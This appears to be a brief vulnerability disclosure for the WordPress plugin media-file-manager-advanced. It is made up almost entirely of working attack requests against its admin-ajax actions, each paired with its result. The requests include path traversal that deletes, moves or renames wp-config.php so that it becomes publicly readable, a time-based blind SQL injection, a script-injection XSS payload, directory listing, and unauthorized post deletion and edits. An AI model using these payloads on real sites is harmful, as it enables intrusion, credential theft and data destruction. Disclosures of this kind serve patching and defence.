WordPress media-file-manager-advanced Plugin Multiple Vulnerabilites

                                                Post Delete
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_delete
post: id=17

MKDIR
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_mkdir
newdir=EVEXFOLDER

folder exists: http://domain.tld/wp-contents/uploads/EVEXFOLDER

RMDIR (Dir Must Be Empty)
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_delete_empty_dir
dir=EVEXFOLDER&name=

not found: http://domain.tld/wp-contents/uploads/EVEXFOLDER

UNLINK
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_delete
dir=../../&name=wp-config.php

no more wp-config.php

Blind SQL INJECTION
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_get_image_insert_screen
id=1 AND (SELECT * FROM (SELECT(SLEEP(10)))LCKZ) 

Sleeps for 10 seconds

XSS
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_get_image_insert_screen
id="</button><script>alert(1)</script>

Alerts(1)

Update Post
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_update_media_information
id=34&title=New_Title&caption=bla&description=Dummy Description

Move Files
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_move
dir_from=../../&items=wp-config.php&dir_to=

now wp-config.php is in /wp-content/uploads/wp-config.php


Renaming Files
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_rename
dir=../../&from=wp-config.php&to=wp-config.txt

now wp-config.php is renamed to wp-config.txt 

Directory Listing 
http://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_getdir
dir=../../